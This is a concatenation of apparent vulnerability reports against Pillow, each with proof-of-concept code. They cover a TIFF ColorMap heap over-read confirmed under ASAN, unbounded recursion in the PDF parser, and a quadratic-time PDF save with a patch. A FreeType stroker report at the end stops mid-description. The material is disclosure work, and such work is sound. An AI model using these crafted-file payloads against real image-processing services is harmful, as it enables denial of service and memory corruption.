An application must accept the input, retain the relevant TIFF metadata, and invoke the libtiff-backed TIFF save path. The observed consequence is an out-of-bounds read and ASAN termination. Process-memory exposure during encoding is a potential consequence, not demonstrated by extracting arbitrary heap contents in this report. No arbitrary read primitive, full memory-disclosure chain, code execution, address-space bypass, or cross-process effect is claimed.
The 131072-byte attempted copy is not the number of bytes proven disclosed. This report does not run a synthetic-canary serializer or collect an unsanitized encoded output.
Tested environment and limits of the evidence
The existing observations were recorded on August 30, 2026, with CPython 3.11.8 on macOS ARM64, using the unmodified official Pillow 12.3.0 wheel and its bundled libtiff 4.7.1:
- Wheel: pillow-12.3.0-cp311-cp311-macosx110arm64.whl - Wheel size: 4785266 bytes - Wheel SHA-256: 37d6d0a00072fd2948eb22bce7e1475f34569d90c87c59f7a2ec59541b77f7a6 - Pillow source revision: bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d - Bundled libtiff SHA-256: e8988717b7470394a47d5ccd343130796b24ee70b6d885d3818e0e0b53238be1
Apple's ASAN runtime was injected at process startup. This is not an ASAN-rebuilt Pillow wheel; allocation/memcpy interception detects the reported boundary violation, but the wheel's native instructions are not comprehensively instrumented.
Only this concrete full-package environment is established here. No affected-version range, current development-branch result, or patched release is asserted. Severity is Unknown; no CVSS score is proposed.
Separate earlier evidence reached the original Pillow 8.0.1 encoder constructor compiled as a component against a modern Python/libtiff environment. That was not a complete Pillow 8.0.1 installation and does not establish the historical package's full runtime behavior. It is not part of this reproducer or an affected-version range.
Observed evidence and controls
The earlier integration harness performed the natural sequence Image.open(BytesIO(input)), image.load(), then image.save(BytesIO(), format="TIFF"), without replacing the image's metadata. Each case was recorded three times:
| Original fixture | Bytes | Recorded result | | --- | ---: | --- | | colormap16 | 1685 | Loaded as I;16; save terminated with ASAN exit 86, READ of size 131072 crossing a 1536-byte heap region (3/3). | | colormap8 | 1684 | Same fixed ColorMap, but 8-bit samples; save succeeded and retained SHORT/count 768 (3/3). | | colormapabsent | 137 | Same 16-bit geometry without ColorMap; save succeeded (3/3). |
Address-free summary of the recorded native diagnostic:
text AddressSanitizer: heap-buffer-overflow READ of size 131072 0 bytes after 1536-byte region Copy path: memcpy -> TIFFmemcpy -> setByteArray -> TIFFsetShortArrayExt -> TIFFVSetField -> TIFFVSetField -> ImagingLibTiffSetField -> PyImagingLibTiffEncoderNew Allocation: calloc -> PyImagingLibTiffEncoderNew
Input SHA-256 values (also enforced inside the script):
- colormap16: 5f38e0ead90b97949fb0c98c63f9c68d00ba9181db6631ecb8927376dcc75f4d - colormap8: fdb26d9135549ed44824901985086c5ee4f06515699ca3291e498c523935405c - colormapabsent: bd54979624f3ffb713342e0458caff9e17c477f940cda2f0960feebfabbc9556
Root cause and source references
- Pillow src/encode.c, lines 870–899, pinned revision: the ColorMap tuple must contain exactly 768 entries; a 1536-byte allocation is passed with a fixed stride of 256. The check does not reconcile that extent with BitsPerSample. - Pillow src/PIL/TiffImagePlugin.py, lines 1944–1991, pinned revision: save carries supplied tags into the libtiff encoder and sorts the tags, so sample depth is established before ColorMap. - libtiff tifdir.c, lines 441–448, pinned revision: TIFFTAGCOLORMAP computes the per-plane count as 1L << td->tdbitspersample and copies that many SHORTs from each pointer.
The reported boundary is Pillow's construction of a fixed-sized array for a native API whose required size depends on metadata; this does not establish a standalone libtiff defect for a correctly sized caller buffer.
Prior art and disclosure scope
Pillow PR #5148, merged December 28, 2020, is related TIFF metadata prior art, but its archived diff replaces a short-lived stack field-name pointer with the persistent literal "CustomField". That is a different field-name-lifetime fix, not this plane-size mismatch. The reviewed material does not establish an exact prior public report or fix for this root, and novelty is not asserted. This specific report remains NOTSENT; association with other observations is not a prior disclosure of it.
Reproduction instructions
Use an already reviewed, existing installation of the exact wheel above, an existing compatible macOS ARM64 CPython 3.11 interpreter, and an existing compatible Apple ASAN runtime. --package-path is the absolute directory containing PIL, not the PIL directory itself. The script does not install, download, build, patch, or submit anything. It checks selected key package files against the original installation's hashes and checks the loaded package/version; these checks are not a full installation attestation.
Save the complete Python block below as reproduce.py and run:
sh python3.11 -I -S -B reproduce.py \ --package-path /absolute/path/to/reviewed/site-packages \ --asan-runtime /absolute/path/to/reviewed/libclangrt.asanosxdynamic.dylib
Both arguments are required. The runtime must be loaded at child startup, not by late dlopen. Each child resolves asaninit, asanaddressispoisoned, and asanregionispoisoned in its actual process symbol table before importing Pillow or opening a fixture. Merely setting DYLDINSERTLIBRARIES is not accepted as proof of ASAN availability. A missing symbol or package mismatch prevents the operation.
Each of the three cases runs once in a separate child with a 30-second wall limit, 10-second hard CPU limit, core dumps disabled, and 1 MiB regular-file-size limit. The parent supplies a clean allowlisted environment, isolated Python startup (-I -S -B), an empty temporary working directory, no stdin, and a 128 KiB combined pipe-output cap. Timeout/output-cap handling kills the child's process group. These limits are containment measures, not a security sandbox. No TIFF is written to disk. Temporary directories are removed; raw diagnostics are never forwarded or persisted.
The compressed/base64 constants below are the unchanged original benign TIFF fixtures, with decompressed size and SHA-256 checks. There are no external fixture dependencies. The standalone script supplied with this description is byte-for-byte the same as this block.
Separate August 31, 2026 inline validation: the exact embedded standalone script passed all three fixed cases: one ASan READ of 131,072 bytes crossing a 1,536-byte allocation and two passing controls. Child guards and limits passed, with no timeout. This is additional bounded evidence, separate from earlier runs; no new build, install, full historical chain or older-version integration replay was performed.
Expected results from the standalone script
Cases run in order: colormap8, colormapabsent, colormap16. Every printed line should have guardpassed: true, withinlimits: true, and expectedobservation: true. The first two require successful saves and the expected retained sample-depth/ColorMap fields. The last requires ASAN exit 86 and the specific READ/extent/stack signatures, not merely any crash. Only the two controls inspect encoded metadata; the unsafe case never exports an encoded TIFF.
The parent exits 0 only if all three expectations match; 1 means a case did not match (including guard failure or a changed ASAN diagnostic), and 2 means parent setup failed. A failed guard, timeout, unrelated crash, or missing diagnostic is inconclusive, not evidence that the defect is absent. Do not bypass the ASAN guard to obtain an output TIFF.
Complete standalone reproducer
python import argparse import base64 import ctypes import hashlib import io import json import os from pathlib import Path import platform import resource import selectors import struct import subprocess import sys import tempfile import time import zlib
FIXTURES = {'colormap8': [1684, 'fdb26d9135549ed44824901985086c5ee4f06515699ca3291e498c523935405c', 'eNrz9NRi4GBgYOBmYGBkYWAEssAYic3EyAymQaqYoWzWBgYGNigbhAWh6iexMTCIIomLIZkjDmUzAbEMkhoHIJsBiCYxjIJRMApGwSgY2QAAPu0DiA=='], 'colormapabsent': [137, 'bd54979624f3ffb713342e0458caff9e17c477f940cda2f0960feebfabbc9556', 'eNrz9NRi4GBgYOBiYGBkYWAEssAYic3EyAymBYCYGcpmbWBgYIOyQVgQqr4NiEWRxMWQzBGHspmBWAZJDQOEBgDj8wKm'], 'colormap16': [1685, '5f38e0ead90b97949fb0c98c63f9c68d00ba9181db6631ecb8927376dcc75f4d', 'eNrz9NRi4GBgYOBmYGBkYWAEssAYic3EyAymBYCYGcpmbWBgYIOyQVgQqn4SGwODKJK4GJI54lA2MxDLIKlxALJBgpMYRsEoGAWjYBSMZACsEwB78wOS']} PACKAGEPINS = {'PIL/ImageFile.py': '983c4f35e0c51046d4c636998ec77000cd2da208870a03b205e104cd0b2df629', 'PIL/version.py': 'fe7d75d4019326aca24ae57d4ab190cd62ba1225b175051119cd61cd87e42b1d', 'PIL/init.py': '7361b6ad3878589affe5956e4a4da24d71398b0891fd3a8c15e9362217b4ca01', 'PIL/features.py': '14f904863b416914aaa6480735876ec31885b7272ee0d8d92b010c5b1b5e98f5', 'PIL/TiffTags.py': '766dea350424b9a2caab3513be794689403c2b7222cd038006f69cff08edb45d', 'PIL/TiffImagePlugin.py': '440b2a3a80b280d18cda3fc70d9fd206e2fa44e9897c9550f70b51395047b273', 'PIL/imaging.cpython-311-darwin.so': '6d09b1fb925779fff32b5b8a4c348a42c201d350d0e0fd8cdc00410b6779e596', 'PIL/Image.py': '04af3f2db7ffdd61e829fa7aa8f5481d394a0a4129a8fd8aa5b13908928fcd6d', 'PIL/.dylibs/libtiff.6.dylib': 'e8988717b7470394a47d5ccd343130796b24ee70b6d885d3818e0e0b53238be1', 'pillow-12.3.0.dist-info/WHEEL': 'de2586b77651a8bf1b7778c3609979713ebc901784a837fca80ed4969fc82e57', 'pillow-12.3.0.dist-info/METADATA': '8fc07146cab33ef7582361dab6eac596d340b03ec648f18217da7894f73838c8'} CASES = tuple(FIXTURES) WALLSECONDS = 30 FILELIMIT = 1024 1024 PIPELIMIT = 128 1024
def limits(): resource.setrlimit(resource.RLIMITCORE, (0, 0)) resource.setrlimit(resource.RLIMITCPU, (10, 10)) resource.setrlimit(resource.RLIMITFSIZE, (FILELIMIT, FILELIMIT))
def fixture(case): size, expectedhash, encoded = FIXTURES[case] decoder = zlib.decompressobj() data = decoder.decompress(base64.b64decode(encoded, validate=True), size + 1) if (len(data) != size or not decoder.eof or decoder.unuseddata or decoder.unconsumedtail or hashlib.sha256(data).hexdigest() != expectedhash): raise ValueError("fixture integrity check failed") return data
def field(data, wanted): if len(data) < 8 or data[:4] not in (b"II\0", b"MM\0"): raise ValueError("not classic TIFF") endian = "<" if data[:2] == b"II" else ">" directory = struct.unpackfrom(endian + "I", data, 4)[0] count = struct.unpackfrom(endian + "H", data, directory)[0] if directory + 2 + count 12 + 4 > len(data): raise ValueError("truncated directory") for number in range(count): offset = directory + 2 + number 12 tag, kind, length = struct.unpackfrom(endian + "HHI", data, offset) if tag != wanted: continue size = {1: 1, 2: 1, 3: 2, 4: 4, 7: 1}[kind] length start = offset + 8 if size <= 4 else struct.unpackfrom(endian + "I", data, offset + 8)[0] if start + size > len(data): raise ValueError("truncated field") return kind, length, data[start:start + size], endian return None
def checkedimagemodule(package): if (sys.implementation.name != "cpython" or sys.versioninfo[:2] != (3, 11) or sys.platform != "darwin" or platform.machine() != "arm64"): raise RuntimeError("requires macOS ARM64 CPython 3.11") for relative, expected in PACKAGEPINS.items(): path = (package / relative).resolve(strict=True) if not path.isrelativeto(package) or hashlib.sha256(path.readbytes()).hexdigest() != expected: raise RuntimeError("reviewed wheel file mismatch") processsymbols = ctypes.CDLL(None) for symbol in ("asaninit", "asanaddressispoisoned", "asanregionispoisoned"): getattr(processsymbols, symbol) sys.path.insert(0, str(package)) from PIL import Image, features if (Image.version != "12.3.0" or features.version("libtiff") != "4.7.1" or Path(Image.file).resolve() != package / "PIL/Image.py" or Path(Image.core.file).resolve() != package / "PIL/imaging.cpython-311-darwin.so"): raise RuntimeError("unexpected Pillow or libtiff") return Image
def emit(descriptor, message): os.write(descriptor, (json.dumps(message, sortkeys=True) + "\n").encode("ascii"))
def child(case, package): descriptor = os.dup(1) with open(os.devnull, "wb") as quiet: os.dup2(quiet.fileno(), 1) try: imagemodule = checkedimagemodule(package) data = fixture(case) with imagemodule.open(io.BytesIO(data)) as image: image.load() if image.size != (1, 1) or image.info.get("compression") != "packbits": raise ValueError("unexpected input geometry") bits = 8 if case == "colormap8" else 16 if image.tagv2[258] != (bits,): raise ValueError("unexpected sample width") if case == "colormapabsent": if 320 in image.tagv2: raise ValueError("unexpected ColorMap") elif image.tagv2[320] != (0,) 768: raise ValueError("unexpected ColorMap planes") emit(descriptor, {"ready": True}) with io.BytesIO() as output: image.save(output, format="TIFF") if case == "colormap16": emit(descriptor, {"unsafesavereturned": True}) return 1 encoded = output.getvalue() savedbits = field(encoded, 258) mapfield = field(encoded, 320) bitspreserved = (savedbits is not None and savedbits[:2] == (3, 1) and struct.unpack(savedbits[3] + "H", savedbits[2])[0] == bits) mappreserved = (mapfield is None if case == "colormapabsent" else mapfield is not None and mapfield[:2] == (3, 768) and mapfield[2] == bytes(1536)) emit(descriptor, {"controlpassed": bool(bitspreserved and mappreserved)}) return 0 except Exception: emit(descriptor, {"childfailed": True}) return 2 finally: os.close(descriptor)
def runcase(case, package, runtime): with tempfile.TemporaryDirectory(prefix="pillow-check-") as temporary: environment = { "PATH": "/usr/bin:/bin:/usr/sbin:/sbin", "HOME": temporary, "TMPDIR": temporary, "LCALL": "C", "DYLDINSERTLIBRARIES": str(runtime), "ASANOPTIONS": "detectleaks=0:haltonerror=1:abortonerror=0:exitcode=86:" "disablecoredump=1:symbolize=1:mallocfillbyte=165:" "maxmallocfillsize=1048576:logpath=stderr", } command = [sys.executable, "-I", "-S", "-B", str(Path(file).resolve()), "--package-path", str(package), "--asan-runtime", str(runtime), "--child", case] output = bytearray() diagnostics = bytearray() deadline = time.monotonic() + WALLSECONDS with subprocess.Popen(command, cwd=temporary, env=environment, stdin=subprocess.DEVNULL, stdout=subprocess.PIPE, stderr=subprocess.PIPE, preexecfn=limits, startnewsession=True) as process: bounded = True try: with selectors.DefaultSelector() as selector: selector.register(process.stdout, selectors.EVENTREAD, output) selector.register(process.stderr, selectors.EVENTREAD, diagnostics) while selector.getmap(): remaining = deadline - time.monotonic() if remaining <= 0: raise TimeoutError for key, events in selector.select(min(remaining, 0.25)): chunk = os.read(key.fileobj.fileno(), 8192) if not chunk: selector.unregister(key.fileobj) else: key.data.extend(chunk) if len(output) + len(diagnostics) > PIPELIMIT: raise BufferError process.wait(timeout=max(0.001, deadline - time.monotonic())) except (TimeoutError, BufferError, subprocess.TimeoutExpired): bounded = False try: os.killpg(process.pid, 9) except ProcessLookupError: pass process.wait() status = process.returncode try: messages = [json.loads(line) for line in output.splitlines()] except (ValueError, UnicodeError): messages = [] ready = bool(messages and messages[0] == {"ready": True}) if case == "colormap16": observed = bool(bounded and ready and status == 86 and len(messages) == 1 and b"AddressSanitizer: heap-buffer-overflow" in diagnostics and b"READ of size 131072" in diagnostics and b"0 bytes after 1536-byte region" in diagnostics and b"PyImagingLibTiffEncoderNew" in diagnostics and b"TIFFmemcpy" in diagnostics) else: observed = bool(bounded and ready and status == 0 and messages == [{"ready": True}, {"controlpassed": True}] and b"AddressSanitizer:" not in diagnostics) output.clear() diagnostics.clear() return {"case": case, "expectedobservation": observed, "guardpassed": ready, "withinlimits": bounded}
def main(): parser = argparse.ArgumentParser(description='Fixed ColorMap extent mismatch: controls first, ASAN-only trigger.') parser.addargument("--package-path", required=True, type=Path, help="reviewed existing installation root containing PIL") parser.addargument("--asan-runtime", required=True, type=Path, help="reviewed existing compatible ASAN dylib; never loaded late") parser.addargument("--child", choices=CASES, help=argparse.SUPPRESS) arguments = parser.parseargs() if arguments.child: limits() return child(arguments.child, arguments.packagepath.resolve()) try: package = arguments.packagepath.resolve(strict=True) runtime = arguments.asanruntime.resolve(strict=True) if not package.isdir() or not runtime.isfile(): raise ValueError("invalid existing paths") for case in CASES: fixture(case) results = [runcase(case, package, runtime) for case in CASES] except Exception: print(json.dumps({"setupfailed": True})) return 2 for result in results: print(json.dumps(result, sortkeys=True)) return 0 if all(result["expectedobservation"] for result in results) else 1
if name == "main": raise SystemExit(main())
Summary When an application appends to an existing PDF with Image.save(..., format="PDF", append=True), Pillow parses that file with PdfParser. Two recursive parsers have no effective bound. linearizepagetree follows /Kids with no visited set or depth limit, so a cyclic or duplicated page tree recurses without end. readprevtrailer rejects only an exactly repeated /Prev offset, so a long chain of unique offsets still recurses. The trailer-loop guard added for CVE-2026-42310 does not cover either case.
Details linearizepagetree recurses on /Kids with no cycle or depth check:
- src/PIL/PdfParser.py:1078-1092
readprevtrailer catches only a repeated offset:
- src/PIL/PdfParser.py:697-720 (the processedoffsets check at :714-718 is the CVE-2026-42310 fix; a unique-offset chain slips past it)
PoC python from PIL import PdfParser
A page tree whose /Pages nodes reference each other in a cycle (2 -> 3 -> 2). objs = { 1: b"<< /Type /Catalog /Pages 2 0 R >>", 2: b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>", 3: b"<< /Type /Pages /Kids [2 0 R] /Count 1 >>", } buf = bytearray(b"%PDF-1.4\n") off = {} for oid in (1, 2, 3): off[oid] = len(buf) buf += b"%d 0 obj\n" % oid + objs[oid] + b"\nendobj\n" xref = len(buf) buf += b"xref\n0 4\n0000000000 65535 f \n" buf += b"".join(b"%010d 00000 n \n" % off[o] for o in (1, 2, 3)) buf += b"trailer\n<< /Root 1 0 R /Size 4 >>\nstartxref\n%d\n%%%%EOF\n" % xref open("poc.pdf", "wb").write(buf)
PdfParser.PdfParser("poc.pdf", mode="r+b") # append=True parses the existing file the same way
Run it: $ python 11poc.py RecursionError: maximum recursion depth exceeded
The 315-byte file triggers the recursion on parse. A duplicated (non-cyclic) /Kids tree instead produces super-linear CPU and memory work, and a long unique-offset /Prev chain triggers the trailer-side recursion.
Impact A service that appends to user-supplied PDFs, for example a stamping or watermarking pipeline, can be driven into uncaught recursion or heavy CPU and memory use before any image is written. Follow-up to CVE-2026-42310. Since Pillow's policy discourages filing plain Python exceptions as denial of service, lead with the cyclic-tree case, which burns CPU and memory rather than only raising RecursionError. The fix is a visited set plus a depth limit in both parsers.
============================================================================ Quadratic-time DoS in PDF saveall (PdfParser.nextobjectid) Location: src/PIL/PdfParser.py:629 in nextobjectid() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================
Pillow's PDF writer takes time proportional to the square of the number of frames when it saves a multi-frame image as a multi-page PDF. Anyone who can get an application to convert their uploaded image this way can tie up a worker at full CPU for minutes with a small file. A 240 KB animated image takes about 70 seconds, a 720 KB one an estimated 10 minutes, and a 125-byte animated PNG that merely declares a large frame count triggers the same slowdown with no upper bound short of 2³¹ frames. Memory stays under 100 MB and the decompression-bomb limit never applies.
The cause is PdfParser.nextobjectid() in src/PIL/PdfParser.py, which finds the next free id by computing max(self.xreftable.keys()). XrefTable.keys() rebuilds three sets over every id reserved so far on each call. PdfImagePlugin.save() calls it three times (four for palette images with transparency) per frame, for nframes frames, before any page is written. That makes the id-reservation loop alone O(N²). Because nframes is taken from the file before any frame is seeked, APNG's acTL count drives the loop even when the frames don't exist. In that case the save raises OSError only after the full delay.
The precondition is that the application calls im.save(..., "PDF", saveall=True) on the attacker's file; Image.open() and load() alone do not reach this code. The attached reproducer shows 4× the frames costing about 11× the CPU for a valid GIF and about 16× for a fixed 125-byte APNG. The behaviour was introduced in 6207b44ab1ff (2018-01-18) and first shipped in Pillow 5.1.0. A small patch that tracks the highest id in XrefTable makes the save linear.
Details
Saving a multi-frame image as a multi-page PDF (im.save(fp, "PDF", saveall=True)) costs CPU time proportional to the square of the frame count, independent of pixel content, because every object id the PDF writer reserves is found by rebuilding and scanning the set of all ids reserved so far.
A 1×1-pixel animated GIF made of N identical 15-byte frames (built by the reproducer) gives, on a 2-CPU container with the stock build at this commit (absolute timings vary by machine; the growth rate does not):
| frames | GIF size | im.save(BytesIO(), "PDF", saveall=True) | peak RSS | |---|---|---|---| | 2 000 | 30 KB | 1.1 s | | | 8 000 | 120 KB | 14.7 s | | | 16 000 | 240 KB | 70 s | 60 MB | | 32 000 | 480 KB | 262 s | 95 MB | | 48 000 | 720 KB | still running at 120 s (extrapolated ≈ 10 min) | |
Each doubling of the input roughly quadruples the time. cProfile of the 8 000-frame save attributes 13.5 s of 17.6 s to 24 003 calls of PdfParser.nextobjectid (8.9 s inside XrefTable.keys, 3.9 s inside max); encoding and writing the 8 000 pages is the remaining ~4 s and scales linearly.
The per-page id reservation loop runs before any page is written:
python src/PIL/PdfImagePlugin.py:247-259 (save) for im in ims: imnumberofpages = 1 if saveall: imnumberofpages = getattr(im, "nframes", 1) … for i in range(imnumberofpages): imagerefs.append(existingpdf.nextobjectid(0)) if im.mode == "P" and "transparency" in im.info: imagerefs.append(existingpdf.nextobjectid(0))
pagerefs.append(existingpdf.nextobjectid(0)) contentsrefs.append(existingpdf.nextobjectid(0))
nframes comes straight from the file (for GIF it is the number of image blocks; the GIF plugin counts them by walking block headers, which is cheap). The frames do not even have to exist: the loop runs on nframes before any frame is seeked, and for APNG nframes is the numframes value declared in the acTL chunk, rejected only if it is 0 or above 0x80000000 (src/PIL/PngImagePlugin.py:716-720). A 125-byte APNG declaring 8 000 frames therefore costs the same ~10–13 s as the 120 KB GIF, and more without bound as the declared count grows. Each of the 3 (or 4, for P images with transparency) calls per frame lands here:
python src/PIL/PdfParser.py:626-634 def nextobjectid(self, offset: int | None = None) -> IndirectReference: try: # TODO: support reuse of deleted objects reference = IndirectReference(max(self.xreftable.keys()) + 1, 0) except ValueError: reference = IndirectReference(1, 0) if offset is not None: self.xreftable[reference.objectid] = (offset, 0) return reference
src/PIL/PdfParser.py:175-178 (XrefTable) def keys(self) -> set[int]: return ( set(self.existingentries.keys()) - set(self.deletedentries.keys()) ) | set(self.newentries.keys())
save passes offset=0, so every reserved id is inserted into xreftable.newentries. The k-th call therefore materialises three sets covering all k−1 previous ids, computes a difference and a union, and then max() scans the result — O(k) work to produce the integer k. Summed over 3N calls this is O(N²): for 48 000 frames, 144 002 calls over sets growing to 144 002 elements, on the order of 10¹⁰ set-element operations, all spent before writeimage is reached for the first frame. Nothing on this path consults MAXIMAGEPIXELS (the frames are 1×1) and nothing raises; for the GIF the save eventually completes and produces a valid PDF, and for the declared-only APNG it raises OSError only once the id loop has finished and the first missing frame is seeked.
This reservation scheme was introduced in 6207b44ab1ff ("issue #2959: support appending to existing PDFs", 2018-01-18) and first shipped in Pillow 5.1.0; before it, the writer numbered objects arithmetically.
For contrast, writeobj(ref, …) with an already-reserved ref (src/PIL/PdfParser.py:548-555) only does a dict store, which is why the page-writing phase that follows is linear; the super-linear cost is entirely in how the next free id is computed.
Impact
The precondition is that the application saves the attacker's image as PDF with saveall=True; Image.open() and load() alone do not reach this code. An application that converts uploaded images to PDF this way — the documented way to get one page per frame from animated GIF/APNG/WebP or multi-page TIFF input — can have a worker held at 100 % CPU for about 10 minutes by a 720 KB GIF, about 4½ minutes by a 480 KB one, with the cost continuing to grow quadratically with upload size. With APNG the file size does not matter at all: a 125-byte file declaring N frames in acTL drives the same quadratic loop, up to the 2³¹ cap. The attacker controls only the file bytes; no unusual dimensions, modes or options are needed, memory use stays under 100 MB so memory limits do not intervene, and the decompression-bomb guard is not applicable. The consequence is denial of service of the process performing the conversion. Single-image PDF saves, and saveall saves of images with tens or hundreds of frames, are unaffected in practice.
This is the same family as earlier accidentally-quadratic parsing issues fixed in Pillow (e.g. CVE-2021-28677, EPS readline), but on the PDF writer side, reached only through a save rather than on open, and driven by frame count rather than by line structure.
Reproducing
repro is a single Python script. Run it with the Python that has Pillow installed (./repro). It uses under 100 MB of RAM and writes no files.
Input. Two kinds of file are built in memory, each with 2 000 and 8 000 frames:
- gif(n): a valid animated GIF — a GIF89a header with a 1×1 logical screen and a 2-colour global palette, then n copies of one 15-byte frame (a 1×1 image descriptor plus the LZW data for one pixel), then the trailer (30 and 120 KB). The only unusual thing about it is how many frames it has. - apng(n): a 125-byte APNG — a 1×1 greyscale IHDR, an acTL chunk declaring n frames, one fcTL, one IDAT and IEND. Only the first frame exists; the other n − 1 are merely declared.
Action. Each file goes through what an upload-to-PDF converter would do: Image.open(BytesIO(data)), then im.save(BytesIO(), "PDF", saveall=True), timed with time.processtime(). For the APNG the save raises OSError once the writer tries to seek to the second frame; that happens after the id-reservation loop has run for all n declared frames, so the exception is caught and the CPU time up to it is recorded.
Expected output (stock build at this commit):
GIF frames= 2000 file= 30020 B save CPU= 1.03s result=ok GIF frames= 8000 file=120020 B save CPU= 11.68s result=ok GIF: 4x frames -> 11.3x CPU (linear ~4x, quadratic ~16x) APNG frames= 2000 file= 125 B save CPU= 0.65s result=OSError(Truncated File Read) APNG frames= 8000 file= 125 B save CPU= 10.48s result=OSError(Truncated File Read) APNG: 4x frames -> 16.1x CPU (linear ~4x, quadratic ~16x) BUG
A linear save would take about 4× as long for 4× the frames; here the GIF save grows ~11× and the APNG save ~16×, the latter with the file size fixed at 125 bytes. The script prints BUG when the save CPU for either format grows at least 8× for 4× the frames (twice the linear expectation), otherwise OK. Extending the same curve gives the figures in the table above: about 70 s at 16 000 frames (240 KB GIF), and about 10 minutes for a 720 KB file.
With the attached patch applied, the GIF save takes 0.32 s / 1.20 s (3.7×) and the APNG save 0.01 s / 0.03 s, and the script prints OK.
Suggested fix
Make nextobjectid() O(1) by tracking the highest object id ever stored in XrefTable instead of rebuilding the key set on every call. The attached patch does this in src/PIL/PdfParser.py:
diff --- a/src/PIL/PdfParser.py +++ b/src/PIL/PdfParser.py @@ class XrefTable: self.deletedentries = {0: 65536} # object ID => generation self.readingfinished = False + self.maxobjectid = 0 # highest object ID ever stored, deleted or not
def setitem(self, key: int, value: tuple[int, int]) -> None: if self.readingfinished: self.newentries[key] = value else: self.existingentries[key] = value + if key > self.maxobjectid: + self.maxobjectid = key if key in self.deletedentries: del self.deletedentries[key] @@ class PdfParser: def nextobjectid(self, offset: int | None = None) -> IndirectReference: - try: - # TODO: support reuse of deleted objects - reference = IndirectReference(max(self.xreftable.keys()) + 1, 0) - except ValueError: - reference = IndirectReference(1, 0) + # TODO: support reuse of deleted objects + reference = IndirectReference(self.xreftable.maxobjectid + 1, 0) if offset is not None: self.xreftable[reference.objectid] = (offset, 0) return reference
existingentries is only ever populated through setitem (from readxreftable / readprevtrailer), so the counter also covers ids read from an existing file in append=True mode. The one behavioural difference: when the highest-numbered existing object has just been deleted (delroot() / rewritepages() in append mode), the current code hands that id out again with generation 0, whereas the patch moves on to the next unused id — the more conservative choice for an xref table, and the one the existing TODO: support reuse of deleted objects comment points at. With the patch applied and Pillow rebuilt, the 16 000-frame save drops from ~70 s to ~2.5 s, fresh PDF output is unchanged, Tests/testfilepdf.py and Tests/testpdfparser.py pass, and the reproducer prints OK.
An alternative limited to the writer would be to reserve the 3 × numberofpages ids in PdfImagePlugin.save() arithmetically from a single nextobjectid() call, but fixing the allocator also covers writeobj(None, …) callers.
The patch does not address a separate, linear issue: PdfImagePlugin.save() still trusts nframes before any frame is decoded, so a tiny file whose format reports a declared-only frame count (APNG acTL up to 2³¹) still makes it loop 3 × nframes times before the first failing seek. Reserving ids per successfully seeked frame, or validating nframes in such plugins, would close that.
The patch
Track the highest object ID in XrefTable so PdfParser.nextobjectid() is O(1) instead of rebuilding and scanning the key set
Applies to src/PIL/PdfParser.py at the commit above.
diff diff --git a/src/PIL/PdfParser.py b/src/PIL/PdfParser.py index 672557190..82ebfb867 100644 --- a/src/PIL/PdfParser.py +++ b/src/PIL/PdfParser.py @@ -133,12 +133,15 @@ class XrefTable: ) # object ID => (offset, generation) self.deletedentries = {0: 65536} # object ID => generation self.readingfinished = False + self.maxobjectid = 0 # highest object ID ever stored, deleted or not def setitem(self, key: int, value: tuple[int, int]) -> None: if self.readingfinished: self.newentries[key] = value else: self.existingentries[key] = value + if key > self.maxobjectid: + self.maxobjectid = key if key in self.deletedentries: del self.deletedentries[key] @@ -624,11 +627,8 @@ class PdfParser: self.origpages = self.pages[:] def nextobjectid(self, offset: int | None = None) -> IndirectReference: - try: - # TODO: support reuse of deleted objects - reference = IndirectReference(max(self.xreftable.keys()) + 1, 0) - except ValueError: - reference = IndirectReference(1, 0) + # TODO: support reuse of deleted objects + reference = IndirectReference(self.xreftable.maxobjectid + 1, 0) if offset is not None: self.xreftable[reference.objectid] = (offset, 0) return reference
The reproducer
<details> <summary>Reproducer — <code>repro</code>, 1,791 bytes (click to open)</summary>
Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.
python #!/usr/bin/env python3 PDF saveall is O(frames^2): PdfParser.nextobjectid() does max(XrefTable.keys()), and keys() rebuilds sets of every id reserved so far, 3 calls per frame. (a) valid 1x1 animated GIF, 15 bytes/frame; (b) 125-byte APNG whose acTL merely declares N frames - ids are reserved for all N before the first seek fails. import io, struct, time, zlib from PIL import Image
def gif(n): return (b"GIF89a\x01\x00\x01\x00\x80\x00\x00\x00\x00\x00\xff\xff\xff" + b"\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44\x01\x00" n + b"\x3b")
def apng(n): def chunk(t, d): return struct.pack(">I", len(d)) + t + d + struct.pack(">I", zlib.crc32(t + d)) return (b"\x89PNG\r\n\x1a\n" + chunk(b"IHDR", struct.pack(">IIBBBBB", 1, 1, 8, 0, 0, 0, 0)) + chunk(b"acTL", struct.pack(">II", n, 0)) + chunk(b"fcTL", struct.pack(">IIIIIHHBB", 0, 1, 1, 0, 0, 1, 1, 0, 0)) + chunk(b"IDAT", zlib.compress(b"\x00\x00")) + chunk(b"IEND", b""))
def savepdf(data): im = Image.open(io.BytesIO(data)) t = time.processtime() try: im.save(io.BytesIO(), "PDF", saveall=True) res = "ok" except OSError as e: # APNG: frames don't exist, fails after the id loop res = f"OSError({e})" return time.processtime() - t, res
bug = False for name, make in (("GIF", gif), ("APNG", apng)): t = {} for n in (2000, 8000): data = make(n) t[n], res = savepdf(data) print(f"{name:4} frames={n:5} file={len(data):6} B save CPU={t[n]:6.2f}s result={res}") growth = t[8000] / t[2000] print(f"{name}: 4x frames -> {growth:.1f}x CPU (linear ~4x, quadratic ~16x)") if growth >= 8: bug = True print("BUG" if bug else "OK") </details>
---
Summary When text is drawn with a non-zero stroke width, Pillow creates a FreeType stroker and then loads each glyph. If FTLoadGlyph fails for a glyph, the cleanup path calls FTDoneGlyph on the glyph variable. That variable is not initialized before the first measurement loop, and in the render loop it is not reset to NULL after each glyph is freed. A malformed font loaded from untrusted bytes can force the load error and reach this free. This is a latent memory-safety defect; whether it crashes depends on the value in the uninitialized or stale pointer.
Details glyph is declared without a NULL initializer:
- src/imagingft.c:848
The first measurement loop can jump to glypherror before glyph is ever assigned:
- src/imagingft.c:1010-1013
In the render loop the glyph is freed at the end of each iteration and not set back to NULL:
- src/imagingft.c:1242
The cleanup frees it whenever a stroker exists:
- src/imagingft.c:1253-1256
ImageFont.truetype accepts a file object or bytes, so the font is attacker-suppliable.
PoC This needs fontTools and any base TTF (the example uses one bundled with Pillow's tests). It rewrites glyph "A" to claim 5000 contours in a glyph body far too short for them, so FTLoadGlyph returns an error while the face still opens.
